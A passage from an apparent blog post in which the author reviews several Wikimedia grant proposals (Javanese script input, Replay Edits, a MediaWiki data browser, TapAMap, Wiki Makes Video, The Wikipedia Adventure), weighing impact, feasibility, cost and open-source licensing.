Beyond not sufficiently researching the privacy policy, the authors seem not to understand what sort of access different technical projects (extensions vs gadgets vs third party hosted thingies) have, along with what data the API provides. I would expect that someone making such a proposal would understand the limitations of the technology that they intend to use before making the proposal.

Last of all the $30000 budget request seems a little high relative to the amount of work (I believe would be required) and the impact the project would make.

MediaWiki and Javanese script

This is an interesting one. It would be interesting to see what someone from wmf's i18n team thought of it.

As far as I understand, the main points are:

  • There are no input methods generally available for the Javanese script except in MediaWiki (which sounds odd to me)
  • People should be able to type in their own script easily
  • Therefore we should distribute MediaWiki-on-a-stick (A Wiki on a usb stick, so you can take the wiki with you).
First of all, it would be kind of cool if Wiki on a stick was supported for MediaWiki. The author mentions XAMPP, but there might be simpler options (Using PHP's built in webserver, combined with sqlite). However the wiki on a stick part seems to be a means to an end, not the main goal of this project.

For the actual project, I'm not sure what the end goal is - Have Javanese speaking people start using MediaWiki as a personal word processor? It seems like making an input method for X11/where ever input methods go in general for various operating systems would be much more effective at accomplishing the authors goals. Its also unclear how this benefits Wikimedia, other than wiki on a stick support would benefit MediaWiki. Having more Javanese speakers familiar with MediaWiki might make them more likely to contribute to a Javanese project, but that seems like a rather indirect benefit.

Replay Edits

This is an interesting proposal.

From what I understand, what is being proposed is that you could replay the history of an article, having text being added and removed in front of your eyes. Somewhat similar to how edits happen in front of your eyes in etherpad (?) (but replaying the past, not real time editing). This would allow a cool visualization of how articles change with time.

I'm unclear on this proposal if its meant to operate on the wikitext or on the rendered page. I'm also unclear if as it goes forward in time, does it highlight the changes, or just show the new page. Some of the comments on the talk page, and this mockup suggest it would work on rendered pages. Having diffs that highlight what changed, but on the rendered page instead of the wikitext source (so-called visual diff), is a feature that would be awesome in and of itself. (There was once upon a time some experimental support in MW for this, but it was removed due to being incomplete).

If it is indeed the authors intention to provide visual diffs, then this project becomes quite exciting. It also becomes quite a bit more difficult, and I would be hesitant supporting it, unless the author stated his implementation plans in much more detail, in order to verify he understands the issues involved. If this is more just a visualization of how articles change in time, it is a much lower impact project, but still an interesting one. I would support it, especially because the proposer is only asking for $200 to do this.

MediaWiki data browser

This proposal is from Yaron, who is (among other things) a very prominent developer of Semantic MediaWiki. This is by far the most ambitious technical project of any proposed and could potentially have a huge impact.

At the same time it is a little unclear what is actually being proposed. The author says a framework to create drill down interfaces. Perhaps my confusion stems from only having a vague idea of what a drill-down interface is. A picture of an example interface would really be worth a thousand words.

With that said, the idea seems to be creating an interface where the user could filter or select pages by some criteria based on information in an infobox. This all sounds really cool, but it also sounds very hand-waving, to really evaluate this proposal, I think I would need to better understand what is actually being proposed. A concrete example of what an app designed with the framework would look like, including what sort of scope in terms of data processing a potential app could have, would be helpful.

An interesting part of this proposal is that all the processing is done on the client side. The author mentions that (obviously) only a small portion of wikipedia's data would be downloaded. I would be interested to know more about how much data would be downloaded, what data would be downloaded (is it wikitext of relevant pages), how the framework would find the relevant information it needs to download (this is part of my confusion over what the relevant information the framework would be working on is).

Certainly an interesting proposal, and one with much potential.

TapAMap

Basically author has an apple iPhone app that gives you a map. You click somewhere on the map, and it takes you to the nearest article to where you clicked. This is the opposite of most geo-location efforts, although is somewhat similar to WikiMiniAtlas type things that provide wikilinks to various places at their location on the map. It appears this one tries to be different by not showing textual links on the map, but instead concentrating on the geographical location only.

The developer wants grant money to port his App to Android. Apparently the iPhone version is fairly popular.

My main concerns with this proposal is that while it is different from other article mapping things, its similar enough to make it relatively low impact. Additionally it seems the author is reluctant to open source his app, or possibly only willing to open source the Android port that would be funded by the grant. I feel this would be a show stopper. Anything funding using Wikimedia money should be Free Software, no ifs ands or buts. I would not support this proposal unless the entire thing (including the existing iPhone app, and the proposed android port) were GPL'd (or another OSI approved license).

Wiki Makes Video

I'm only going to briefly mention this, as its mostly non-technical, but does include implementing a video capture/upload? app for phones. Making videos easier is certainly a useful thing, and something we could do much better at. Would probably want to check that the Mobile and TMH tech teams aren't already doing anything in this direction (I don't think they are, but should check).

The Wikipedia Adventure

Last but certainly not least (Whew, there was actually a lot more of these than I originally thought) comes The Wikipedia Adventure. This is a proposal to continue some work originally started as a fellowship, to create an educational game to show people how to edit Wikipedia.

This is an interesting approach to help break down barriers. While I am personally a fan of manuals and what not, I understand that most people aren't, and this could serve as a very effective introduction to editing Wikipedia.

I (very) briefly tried the prototype, and I must say its pretty cool. I would be interested to see where people can go with this, if given the proper opportunities to pursue it. This is definitely a proposal I would support.

And that is the end. There were actually quite a few more tech proposals than I thought, and it took a lot longer to read through them then I thought it would. If you've stuck through reading this blog post for this long, thanks for reading :)